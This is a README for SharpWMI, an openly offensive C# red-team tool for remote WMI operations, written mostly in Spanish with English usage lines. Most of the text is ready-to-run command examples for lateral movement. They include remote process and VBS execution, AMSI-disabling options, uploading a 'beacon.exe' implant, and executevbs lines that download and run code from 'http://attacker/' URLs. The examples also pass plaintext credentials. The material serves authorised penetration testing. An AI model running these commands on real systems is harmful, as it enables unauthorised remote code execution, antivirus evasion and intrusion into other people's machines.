
SharpWMI es una implementación en C# de varias funcionalidades de WMI.
SharpWMI es una implementación en C# de varias funcionalidades de WMI. Esto incluye consultas WMI locales/remotas, creación remota de procesos a través de win32_process y ejecución remota de VBS arbitrario mediante suscripciones a eventos WMI. También se admiten credenciales alternativas para métodos remotos.
@harmj0y es el autor principal.
SharpWMI está licenciado bajo la licencia BSD 3-Cláusulas.
Local system enumeration:
SharpWMI.exe action=query query=""select * from win32_service"" [namespace=BLAH]
Remote system enumeration:
SharpWMI.exe action=query [computername=HOST1[,HOST2,...]] query=""select * from win32_service"" [namespace=BLAH]
Remote system Logged On users enumeration:
SharpWMI.exe action=loggedon [computername=HOST1[,HOST2,...]]
Remote process creation:
SharpWMI.exe action=exec [computername=HOST[,HOST2,...]] command=""C:\\temp\\process.exe [args]"" [amsi=disable] [result=true]
Remote VBS execution:
SharpWMI.exe action=executevbs [computername=HOST[,HOST2,...]] [script-specification] [eventname=blah] [amsi=disable] [time-specs]
File upload via WMI:
SharpWMI.exe action=upload [computername=HOST[,HOST2,...]] source=""C:\\source\\file.exe"" dest=""C:\\temp\\dest-file.exe"" [amsi=disable]
Remote firewall enumeration :
SharpWMI.exe action=firewall computername=HOST1[,HOST2,...]
List processes:
SharpWMI.exe action=ps [computername=HOST[,HOST2,...]]
Terminate process (first found):
SharpWMI.exe action=terminate process=PID|name [computername=HOST[,HOST2,...]]
Get environment variables (all if name not given):
SharpWMI.exe action=getenv [name=VariableName] [computername=HOST[,HOST2,...]]
Set environment variable:
SharpWMI.exe action=setenv name=VariableName value=VariableValue [computername=HOST[,HOST2,...]]
Delete an environment variable:
SharpWMI.exe action=delenv name=VariableName [computername=HOST[,HOST2,...]]
Install MSI file:
SharpWMI.exe action=install [computername=HOST[,HOST2,...]] path=""C:\\temp\\installer.msi"" [amsi=disable]
NOTE:
- Any remote function also takes an optional ""username=DOMAIN\\user"" ""password=Password123!"".
- If computername is not specified, will target localhost.
La opción result=true en action=exec (alternativamente action=create) hace que SharpWMI devuelva la salida del comando después de la creación remota del proceso WMI. Funciona almacenando la salida del comando en una instancia de un objeto WMI arbitrario. Ese objeto sería luego recuperado por el llamador y restaurado a su valor original.
La acción executevbs fue reelaborada en comparación con la versión original de SharpWMI.
La especificación del script definida en [script-specification] ofrece los siguientes métodos para dirigir esta herramienta al código VBS objetivo:
A) Executes OS command via preset VBS code:
SharpWMI.exe action=executevbs [...] command="notepad.exe"
B) Downloads Powershell commands from URL and execute them from within VBS via Powershell's StdIn:
SharpWMI.exe action=executevbs [...] url="http://attacker/myscript.ps1"
C) Download a binary file from given URL, store it in specified path and then execute it:
url="SOURCE_URL,TARGET_PATH"
SharpWMI.exe action=executevbs [...] url="http://attacker/foo.png,%TEMP%\bar.exe"
D) Download a binary file from given URL, store it in specified path and then execute arbitrary command:
url="SOURCE_URL,TARGET_PATH"
SharpWMI.exe action=executevbs [...] url="http://attacker/foo.png,%TEMP%\bar.exe" command="%TEMP%\bar.exe -some -parameters"
E) Read VBS script from file and execute it:
SharpWMI.exe action=executevbs [...] script="myscript.vbs"
F) Execute given VBS script given literally:
SharpWMI.exe action=executevbs [...] script="CreateObject(\\"WScript.Shell\\").Run(\\"notepad.exe\\")"
G) Base64 decode input string being encoded VBS script and execute it on remote machine:
SharpWMI.exe action=executevbs [...] scriptb64="Q3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIi[...]"
H) Read contents of given file, base64 decode them and then execute on target machine:
SharpWMI.exe action=executevbs [...] scriptb64="myscript.vbs.b64"
Finally, 'executevbs' action may have additional [time-specs] defined in seconds - they specify script trigger and wait timeouts:
SharpWMI.exe action=executevbs [...] trigger=5 timeout=10
SharpWMI.exe action=query query=""select * from win32_process""
SharpWMI.exe action=query query=""SELECT * FROM AntiVirusProduct"" namespace=""root\\SecurityCenter2""
SharpWMI.exe action=loggedon computername=primary.testlab.local
SharpWMI.exe action=query computername=primary.testlab.local query=""select * from win32_service""
SharpWMI.exe action=query computername=primary,secondary query=""select * from win32_process""
SharpWMI.exe action=exec computername=primary.testlab.local command=""powershell.exe -enc ZQBj...""
SharpWMI.exe action=exec computername=primary.testlab.local command=""whoami"" result=true amsi=disable
SharpWMI.exe action=executevbs computername=primary.testlab.local command=""notepad.exe"" eventname=""MyLittleEvent"" amsi=disable
SharpWMI.exe action=executevbs computername=primary.testlab.local username=""TESTLAB\\harmj0y"" password=""Password123!""
SharpWMI.exe action=upload computername=primary.testlab.local source=""beacon.exe"" dest=""C:\\Windows\\temp\\foo.exe"" amsi=disable
SharpWMI.exe action=terminate computername=primary.testlab.local process=explorer
SharpWMI.exe action=getenv name=PATH computername=primary.testlab.local
SharpWMI.exe action=setenv name=FOO value=""BAR"" computername=primary.testlab.local
SharpWMI.exe action=delenv name=FOO computername=primary.testlab.local
SharpWMI.exe action=install computername=primary.testlab.local path=""C:\\temp\\installer.msi""
Obtener información de estilo netstat TCP local desde una máquina remota con Windows 10:
SharpWMI.exe action=query computername=COMPUTER query="Select LocalPort,OwningProcess from MSFT_NetTCPConnection" namespace="ROOT\StandardCIMV2"
No tenemos planeado lanzar binarios para SharpWMI, así que tendrás que compilarlo tú mismo :)
SharpWMI ha sido compilado contra .NET 3.5 y es compatible con Visual Studio 2015 Community Edition. Simplemente abre el archivo .sln del proyecto, elige "release" y compila.
| Contribución | Autor |
|---|
| Implementación original de SharpWMI | Will Schroeder @harmj0y |
| Idea de salida de ejecución de código WMI | Evi1cg @Ridter |
| Código de evasión de AMSI tomado de SharpMove | Steven Flores 0xthirteen |
| Mejoras, flexibilidad de VBS, carga de archivos | Mariusz B. / mgeeky @mariuszbit |
| Instalar archivos MSI | Justin Bui @slyd0g |